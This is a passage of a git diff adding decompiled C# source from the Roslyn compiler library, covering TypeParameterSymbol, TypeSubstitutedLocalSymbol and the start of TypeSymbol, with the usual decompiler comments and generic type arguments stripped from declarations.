((int)AdaptedTypeParameterSymbol.ContainingSymbol.Kind == 11) + { + return (IGenericTypeParameterReference)(object)this; + } + return null; + } + } + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference ITypeReference.AsSpecializedNestedTypeReference => null; + + string INamedEntity.Name => AdaptedTypeParameterSymbol.MetadataName; + + ushort IParameterListEntry.Index => (ushort)AdaptedTypeParameterSymbol.Ordinal; + + IMethodReference IGenericMethodParameterReference.DefiningMethod => (IMethodReference)(object)((MethodSymbol)AdaptedTypeParameterSymbol.ContainingSymbol).GetCciAdapter(); + + ITypeReference IGenericTypeParameterReference.DefiningType => (ITypeReference)(object)((NamedTypeSymbol)AdaptedTypeParameterSymbol.ContainingSymbol).GetCciAdapter(); + + bool IGenericParameter.MustBeReferenceType => AdaptedTypeParameterSymbol.HasReferenceTypeConstraint; + + bool IGenericParameter.MustBeValueType + { + get + { + if (!AdaptedTypeParameterSymbol.HasValueTypeConstraint) + { + return AdaptedTypeParameterSymbol.HasUnmanagedTypeConstraint; + } + return true; + } + } + + bool IGenericParameter.MustHaveDefaultConstructor + { + get + { + if (!AdaptedTypeParameterSymbol.HasConstructorConstraint && !AdaptedTypeParameterSymbol.HasValueTypeConstraint) + { + return AdaptedTypeParameterSymbol.HasUnmanagedTypeConstraint; + } + return true; + } + } + + TypeParameterVariance IGenericParameter.Variance + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected I4, but got Unknown + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + VarianceKind variance = AdaptedTypeParameterSymbol.Variance; + return (TypeParameterVariance)((int)variance switch + { + 0 => 0, + 2 => 2, + 1 => 1, + _ => throw ExceptionUtilities.UnexpectedValue((object)AdaptedTypeParameterSymbol.Variance), + }); + } + } + + IMethodDefinition IGenericMethodParameter.DefiningMethod => (IMethodDefinition)(object)((MethodSymbol)AdaptedTypeParameterSymbol.ContainingSymbol).GetCciAdapter(); + + ITypeDefinition IGenericTypeParameter.DefiningType => (ITypeDefinition)(object)((NamedTypeSymbol)AdaptedTypeParameterSymbol.ContainingSymbol).GetCciAdapter(); + + internal TypeParameterSymbol AdaptedTypeParameterSymbol => this; + + public new virtual TypeParameterSymbol OriginalDefinition => this; + + protected sealed override TypeSymbol OriginalTypeSymbolDefinition => OriginalDefinition; + + public virtual TypeParameterSymbol ReducedFrom => null; + + public abstract int Ordinal { get; } + + internal ImmutableArray ConstraintTypesNoUseSiteDiagnostics + { + get + { + EnsureAllConstraintsAreResolved(); + return GetConstraintTypes(ConsList.Empty); + } + } + + public abstract bool HasConstructorConstraint { get; } + + public abstract TypeParameterKind TypeParameterKind { get; } + + public MethodSymbol DeclaringMethod => ContainingSymbol as MethodSymbol; + + public NamedTypeSymbol DeclaringType => ContainingSymbol as NamedTypeSymbol; + + public sealed override SymbolKind Kind => (SymbolKind)17; + + public sealed override TypeKind TypeKind => (TypeKind)11; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override bool IsStatic => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + internal sealed override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => null; + + internal NamedTypeSymbol EffectiveBaseClassNoUseSiteDiagnostics + { + get + { + EnsureAllConstraintsAreResolved(); + return GetEffectiveBaseClass(ConsList.Empty); + } + } + + internal ImmutableArray EffectiveInterfacesNoUseSiteDiagnostics + { + get + { + EnsureAllConstraintsAreResolved(); + return GetInterfaces(ConsList.Empty); + } + } + + internal TypeSymbol DeducedBaseTypeNoUseSiteDiagnostics + { + get + { + EnsureAllConstraintsAreResolved(); + return GetDeducedBaseType(ConsList.Empty); + } + } + + internal ImmutableArray AllEffectiveInterfacesNoUseSiteDiagnostics => base.GetAllInterfaces(); + + public sealed override bool IsReferenceType + { + get + { + if (HasReferenceTypeConstraint) + { + return true; + } + return IsReferenceTypeFromConstraintTypes; + } + } + + internal abstract bool? IsNotNullable { get; } + + public sealed override bool IsValueType + { + get + { + if (HasValueTypeConstraint) + { + return true; + } + return IsValueTypeFromConstraintTypes; + } + } + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public abstract bool HasReferenceTypeConstraint { get; } + + public abstract bool IsReferenceTypeFromConstraintTypes { get; } + + internal abstract bool? ReferenceTypeConstraintIsNullable { get; } + + public abstract bool HasNotNullConstraint { get; } + + public abstract bool HasValueTypeConstraint { get; } + + public abstract bool IsValueTypeFromConstraintTypes { get; } + + public abstract bool HasUnmanagedTypeConstraint { get; } + + public abstract VarianceKind Variance { get; } + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/TypeParameterSymbolAdapter.cs", 153); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + IEnumerable IGenericParameter.GetConstraints(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + bool seenValueType = false; + if (AdaptedTypeParameterSymbol.HasUnmanagedTypeConstraint) + { + INamedTypeReference specialType = ((PEModuleBuilder)moduleBeingBuilt).GetSpecialType((SpecialType)5, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + CustomModifier item = CSharpCustomModifier.CreateRequired(((PEModuleBuilder)moduleBeingBuilt).Compilation.GetWellKnownType((WellKnownType)277)); + yield return new TypeReferenceWithAttributes((ITypeReference)new ModifiedTypeReference((ITypeReference)(object)specialType, ImmutableArray.Create((ICustomModifier)(object)item)), default(ImmutableArray)); + seenValueType = true; + } + ImmutableArray.Enumerator enumerator = AdaptedTypeParameterSymbol.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + SpecialType specialType2 = current.SpecialType; + if ((int)specialType2 != 1 && (int)specialType2 == 5) + { + seenValueType = true; + } + ITypeReference typeRef = ((PEModuleBuilder)moduleBeingBuilt).Translate(current.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + yield return current.GetTypeRefWithAttributes(moduleBeingBuilt, AdaptedTypeParameterSymbol, typeRef); + } + if (AdaptedTypeParameterSymbol.HasValueTypeConstraint && !seenValueType) + { + INamedTypeReference specialType3 = ((PEModuleBuilder)moduleBeingBuilt).GetSpecialType((SpecialType)5, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + yield return new TypeReferenceWithAttributes((ITypeReference)(object)specialType3, default(ImmutableArray)); + } + } + + internal new TypeParameterSymbol GetCciAdapter() + { + return this; + } + + internal virtual UseSiteInfo GetConstraintsUseSiteErrorInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(UseSiteInfo); + } + + internal ImmutableArray ConstraintTypesWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray constraintTypesNoUseSiteDiagnostics = ConstraintTypesNoUseSiteDiagnostics; + AppendConstraintsUseSiteErrorInfo(ref useSiteInfo); + ImmutableArray.Enumerator enumerator = constraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Type.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return constraintTypesNoUseSiteDiagnostics; + } + + private void AppendConstraintsUseSiteErrorInfo(ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + useSiteInfo.Add(GetConstraintsUseSiteErrorInfo()); + } + + public sealed override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetMembers(string name) + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitTypeParameter(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitTypeParameter(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitTypeParameter(this); + } + + internal TypeParameterSymbol() + { + } + + internal sealed override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + protected sealed override ImmutableArray GetAllInterfaces() + { + return ImmutableArray.Empty; + } + + internal NamedTypeSymbol EffectiveBaseClass(ref CompoundUseSiteInfo useSiteInfo) + { + AppendConstraintsUseSiteErrorInfo(ref useSiteInfo); + NamedTypeSymbol effectiveBaseClassNoUseSiteDiagnostics = EffectiveBaseClassNoUseSiteDiagnostics; + effectiveBaseClassNoUseSiteDiagnostics?.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + return effectiveBaseClassNoUseSiteDiagnostics; + } + + internal ImmutableArray EffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray effectiveInterfacesNoUseSiteDiagnostics = EffectiveInterfacesNoUseSiteDiagnostics; + ImmutableArray.Enumerator enumerator = effectiveInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return effectiveInterfacesNoUseSiteDiagnostics; + } + + internal TypeSymbol DeducedBaseType(ref CompoundUseSiteInfo useSiteInfo) + { + AppendConstraintsUseSiteErrorInfo(ref useSiteInfo); + TypeSymbol deducedBaseTypeNoUseSiteDiagnostics = DeducedBaseTypeNoUseSiteDiagnostics; + deducedBaseTypeNoUseSiteDiagnostics?.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + return deducedBaseTypeNoUseSiteDiagnostics; + } + + internal ImmutableArray AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray allEffectiveInterfacesNoUseSiteDiagnostics = AllEffectiveInterfacesNoUseSiteDiagnostics; + TypeSymbol typeSymbol = DeducedBaseType(ref useSiteInfo); + while ((object)typeSymbol != null) + { + typeSymbol = typeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + ImmutableArray.Enumerator enumerator = allEffectiveInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return allEffectiveInterfacesNoUseSiteDiagnostics; + } + + internal abstract void EnsureAllConstraintsAreResolved(); + + protected static void EnsureAllConstraintsAreResolved(ImmutableArray typeParameters) + { + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.GetConstraintTypes(ConsList.Empty); + } + } + + internal abstract ImmutableArray GetConstraintTypes(ConsList inProgress); + + internal abstract ImmutableArray GetInterfaces(ConsList inProgress); + + internal abstract NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress); + + internal abstract TypeSymbol GetDeducedBaseType(ConsList inProgress); + + private static bool ConstraintImpliesReferenceType(TypeSymbol constraint) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)constraint.TypeKind == 11) + { + return ((TypeParameterSymbol)constraint).IsReferenceTypeFromConstraintTypes; + } + return NonTypeParameterConstraintImpliesReferenceType(constraint); + } + + internal static bool NonTypeParameterConstraintImpliesReferenceType(TypeSymbol constraint) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + if (!constraint.IsReferenceType) + { + return false; + } + TypeKind typeKind = constraint.TypeKind; + if ((int)typeKind != 6) + { + if ((int)typeKind == 7) + { + return false; + } + SpecialType specialType = constraint.SpecialType; + if (specialType - 1 <= 1 || (int)specialType == 5) + { + return false; + } + return true; + } + return false; + } + + internal static bool CalculateIsReferenceTypeFromConstraintTypes(ImmutableArray constraintTypes) + { + ImmutableArray.Enumerator enumerator = constraintTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (ConstraintImpliesReferenceType(enumerator.Current.Type)) + { + return true; + } + } + return false; + } + + internal static bool? IsNotNullableFromConstraintTypes(ImmutableArray constraintTypes) + { + bool? result = false; + ImmutableArray.Enumerator enumerator = constraintTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + bool isNonNullableValueType; + bool? flag = IsNotNullableFromConstraintType(enumerator.Current, out isNonNullableValueType); + bool? flag2 = flag; + isNonNullableValueType = true; + if (flag2 == isNonNullableValueType) + { + return true; + } + if (!flag.HasValue) + { + result = null; + } + } + return result; + } + + internal static bool? IsNotNullableFromConstraintType(TypeWithAnnotations constraintType, out bool isNonNullableValueType) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + if (constraintType.Type.IsNonNullableValueType()) + { + isNonNullableValueType = true; + return true; + } + isNonNullableValueType = false; + if (constraintType.NullableAnnotation.IsAnnotated()) + { + return false; + } + if ((int)constraintType.TypeKind == 11) + { + bool? isNotNullable = ((TypeParameterSymbol)constraintType.Type).IsNotNullable; + if (isNotNullable == false) + { + return false; + } + if (!isNotNullable.HasValue) + { + return null; + } + } + if (constraintType.NullableAnnotation.IsOblivious()) + { + return null; + } + return true; + } + + internal static bool CalculateIsValueTypeFromConstraintTypes(ImmutableArray constraintTypes) + { + ImmutableArray.Enumerator enumerator = constraintTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Type.IsValueType) + { + return true; + } + } + return false; + } + + internal bool? CalculateIsNotNullableFromNonTypeConstraints() + { + if (HasNotNullConstraint || HasValueTypeConstraint) + { + return true; + } + if (HasReferenceTypeConstraint) + { + return !ReferenceTypeConstraintIsNullable; + } + return false; + } + + protected bool? CalculateIsNotNullable() + { + bool? flag = CalculateIsNotNullableFromNonTypeConstraints(); + if (flag == true) + { + return flag; + } + ImmutableArray constraintTypesNoUseSiteDiagnostics = ConstraintTypesNoUseSiteDiagnostics; + if (constraintTypesNoUseSiteDiagnostics.IsEmpty) + { + return flag; + } + bool? flag2 = IsNotNullableFromConstraintTypes(constraintTypesNoUseSiteDiagnostics); + if (flag2 == true || flag == false) + { + return flag2; + } + return null; + } + + internal sealed override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + if (HasUnmanagedTypeConstraint) + { + return (ManagedKind)1; + } + return (ManagedKind)3; + } + + internal sealed override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + return false; + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Equals(t2 as TypeParameterSymbol, comparison); + } + + internal bool Equals(TypeParameterSymbol other) + { + return Equals(other, (TypeCompareKind)0); + } + + private bool Equals(TypeParameterSymbol other, TypeCompareKind comparison) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == other) + { + return true; + } + if ((object)other == null || (object)other.OriginalDefinition != OriginalDefinition) + { + return false; + } + return other.ContainingSymbol.ContainingType.Equals(ContainingSymbol.ContainingType, comparison); + } + + public override int GetHashCode() + { + return Hash.Combine(ContainingSymbol, Ordinal); + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + result = this; + return true; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + return this; + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + return this; + } + + protected sealed override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.TypeParameterSymbol(this, base.DefaultNullableAnnotation); + } + + protected sealed override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.TypeParameterSymbol(this, nullableAnnotation); + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbolExtensions.cs new file mode 100644 index 0000000..dc9a3aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeParameterSymbolExtensions.cs @@ -0,0 +1,46 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class TypeParameterSymbolExtensions +{ + public static bool DependsOn(this TypeParameterSymbol typeParameter1, TypeParameterSymbol typeParameter2) + { + Stack stack = null; + HashSet hashSet = null; + while (true) + { + ImmutableArray.Enumerator enumerator = typeParameter1.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current.Type is TypeParameterSymbol typeParameterSymbol)) + { + continue; + } + if (typeParameterSymbol.Equals(typeParameter2)) + { + return true; + } + if (hashSet == null) + { + hashSet = new HashSet(); + } + if (hashSet.Add(typeParameterSymbol)) + { + if (stack == null) + { + stack = new Stack(); + } + stack.Push(typeParameterSymbol); + } + } + if (stack == null || stack.Count == 0) + { + break; + } + typeParameter1 = stack.Pop(); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSubstitutedLocalSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSubstitutedLocalSymbol.cs new file mode 100644 index 0000000..a41a0d3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSubstitutedLocalSymbol.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class TypeSubstitutedLocalSymbol : LocalSymbol +{ + private readonly LocalSymbol _originalVariable; + + private readonly TypeWithAnnotations _type; + + private readonly Symbol _containingSymbol; + + internal override bool IsImportedFromMetadata => _originalVariable.IsImportedFromMetadata; + + internal override LocalDeclarationKind DeclarationKind => _originalVariable.DeclarationKind; + + internal override SynthesizedLocalKind SynthesizedKind => _originalVariable.SynthesizedKind; + + internal override SyntaxNode ScopeDesignatorOpt => _originalVariable.ScopeDesignatorOpt; + + public override string Name => _originalVariable.Name; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override ImmutableArray DeclaringSyntaxReferences => _originalVariable.DeclaringSyntaxReferences; + + internal override bool HasSourceLocation => _originalVariable.HasSourceLocation; + + public override ImmutableArray Locations => _originalVariable.Locations; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + internal override SyntaxToken IdentifierToken => _originalVariable.IdentifierToken; + + internal override bool IsCompilerGenerated => _originalVariable.IsCompilerGenerated; + + internal override bool IsPinned => _originalVariable.IsPinned; + + internal override bool IsKnownToReferToTempIfReferenceType => _originalVariable.IsKnownToReferToTempIfReferenceType; + + public override RefKind RefKind => _originalVariable.RefKind; + + internal override ScopedKind Scope + { + get + { + throw new NotImplementedException(); + } + } + + public TypeSubstitutedLocalSymbol(LocalSymbol originalVariable, TypeWithAnnotations type, Symbol containingSymbol) + { + _originalVariable = originalVariable; + _type = type; + _containingSymbol = containingSymbol; + } + + internal override SyntaxNode GetDeclaratorSyntax() + { + return _originalVariable.GetDeclaratorSyntax(); + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics) + { + return _originalVariable.GetConstantValue(node, inProgress, diagnostics); + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return _originalVariable.GetConstantValueDiagnostics(boundInitValue); + } + + internal override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new TypeSubstitutedLocalSymbol(((SynthesizedLocal)_originalVariable).WithSynthesizedLocalKindAndSyntax(kind, syntax), _type, _containingSymbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbol.cs new file mode 100644 index 0000000..0eaeed9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbol.cs @@ -0,0 +1,1956 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class TypeSymbol : NamespaceOrTypeSymbol, ITypeSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + private class InterfaceInfo + { + internal ImmutableArray allInterfaces; + + internal MultiDictionary interfacesAndTheirBaseInterfaces; + + internal static readonly MultiDictionary EmptyInterfacesAndTheirBaseInterfaces = new MultiDictionary(0, (IEqualityComparer)SymbolEqualityComparer.CLRSignature, (IEqualityComparer)null); + + private ConcurrentDictionary _implementationForInterfaceMemberMap; + + internal MultiDictionary explicitInterfaceImplementationMap; + + internal ImmutableDictionary? synthesizedMethodImplMap; + + public ConcurrentDictionary ImplementationForInterfaceMemberMap + { + get + { + ConcurrentDictionary implementationForInterfaceMemberMap = _implementationForInterfaceMemberMap; + if (implementationForInterfaceMemberMap != null) + { + return implementationForInterfaceMemberMap; + } + implementationForInterfaceMemberMap = new ConcurrentDictionary(1, 1, SymbolEqualityComparer.ConsiderEverything); + return Interlocked.CompareExchange(ref _implementationForInterfaceMemberMap, implementationForInterfaceMemberMap, null) ?? implementationForInterfaceMemberMap; + } + } + + internal bool IsDefaultValue() + { + if (allInterfaces.IsDefault && interfacesAndTheirBaseInterfaces == null && _implementationForInterfaceMemberMap == null && explicitInterfaceImplementationMap == null) + { + return synthesizedMethodImplMap == null; + } + return false; + } + } + + protected class ExplicitInterfaceImplementationTargetMemberEqualityComparer : IEqualityComparer + { + public static readonly ExplicitInterfaceImplementationTargetMemberEqualityComparer Instance = new ExplicitInterfaceImplementationTargetMemberEqualityComparer(); + + private ExplicitInterfaceImplementationTargetMemberEqualityComparer() + { + } + + public bool Equals(Symbol x, Symbol y) + { + if (x.OriginalDefinition == y.OriginalDefinition) + { + return x.ContainingType.Equals(y.ContainingType, (TypeCompareKind)62); + } + return false; + } + + public int GetHashCode(Symbol obj) + { + return obj.OriginalDefinition.GetHashCode(); + } + } + + internal class SymbolAndDiagnostics + { + public static readonly SymbolAndDiagnostics Empty = new SymbolAndDiagnostics(null, ImmutableBindingDiagnostic.Empty); + + public readonly Symbol Symbol; + + public readonly ImmutableBindingDiagnostic Diagnostics; + + public SymbolAndDiagnostics(Symbol symbol, ImmutableBindingDiagnostic diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + Symbol = symbol; + Diagnostics = diagnostics; + } + } + + internal const string ImplicitTypeName = ""; + + private static readonly InterfaceInfo s_noInterfaces = new InterfaceInfo(); + + private ImmutableHashSet _lazyAbstractMembers; + + private InterfaceInfo _lazyInterfaceInfo; + + private static readonly Func s_setUnknownNullability = (TypeWithAnnotations type) => type.SetUnknownNullabilityForReferenceTypes(); + + public new TypeSymbol OriginalDefinition => OriginalTypeSymbolDefinition; + + protected virtual TypeSymbol OriginalTypeSymbolDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalTypeSymbolDefinition; + + internal abstract NamedTypeSymbol BaseTypeNoUseSiteDiagnostics { get; } + + internal ImmutableArray AllInterfacesNoUseSiteDiagnostics => GetAllInterfaces(); + + internal TypeSymbol EffectiveTypeNoUseSiteDiagnostics + { + get + { + if (!this.IsTypeParameter()) + { + return this; + } + return ((TypeParameterSymbol)this).EffectiveBaseClassNoUseSiteDiagnostics; + } + } + + internal MultiDictionary InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics + { + get + { + InterfaceInfo interfaceInfo = GetInterfaceInfo(); + if (interfaceInfo == s_noInterfaces) + { + return InterfaceInfo.EmptyInterfacesAndTheirBaseInterfaces; + } + if (interfaceInfo.interfacesAndTheirBaseInterfaces == null) + { + Interlocked.CompareExchange(ref interfaceInfo.interfacesAndTheirBaseInterfaces, MakeInterfacesAndTheirBaseInterfaces(InterfacesNoUseSiteDiagnostics()), null); + } + return interfaceInfo.interfacesAndTheirBaseInterfaces; + } + } + + public abstract bool IsReferenceType { get; } + + public abstract bool IsValueType { get; } + + public abstract TypeKind TypeKind { get; } + + public virtual SpecialType SpecialType => (SpecialType)0; + + internal PrimitiveTypeCode PrimitiveTypeCode + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = TypeKind; + if ((int)typeKind != 9) + { + if ((int)typeKind == 13) + { + return (PrimitiveTypeCode)19; + } + return SpecialTypes.GetTypeCode(SpecialType); + } + return (PrimitiveTypeCode)9; + } + } + + public override bool HasUnsupportedMetadata + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + bool flag = diagnosticInfo != null; + if (flag) + { + int code = diagnosticInfo.Code; + bool flag2 = ((code == 648 || code == 9041) ? true : false); + flag = flag2; + } + return flag; + } + } + + public virtual bool IsAnonymousType => false; + + public virtual bool IsTupleType => false; + + internal virtual bool IsNativeIntegerWrapperType => false; + + internal bool IsNativeIntegerType + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + bool flag = IsNativeIntegerWrapperType; + if (!flag) + { + SpecialType specialType = SpecialType; + bool flag2 = specialType - 21 <= 1; + flag = flag2 && ContainingAssembly.RuntimeSupportsNumericIntPtr; + } + return flag; + } + } + + public virtual ImmutableArray TupleElementTypesWithAnnotations => default(ImmutableArray); + + public virtual ImmutableArray TupleElementNames => default(ImmutableArray); + + public virtual ImmutableArray TupleElements => default(ImmutableArray); + + internal bool IsManagedTypeNoUseSiteDiagnostics + { + get + 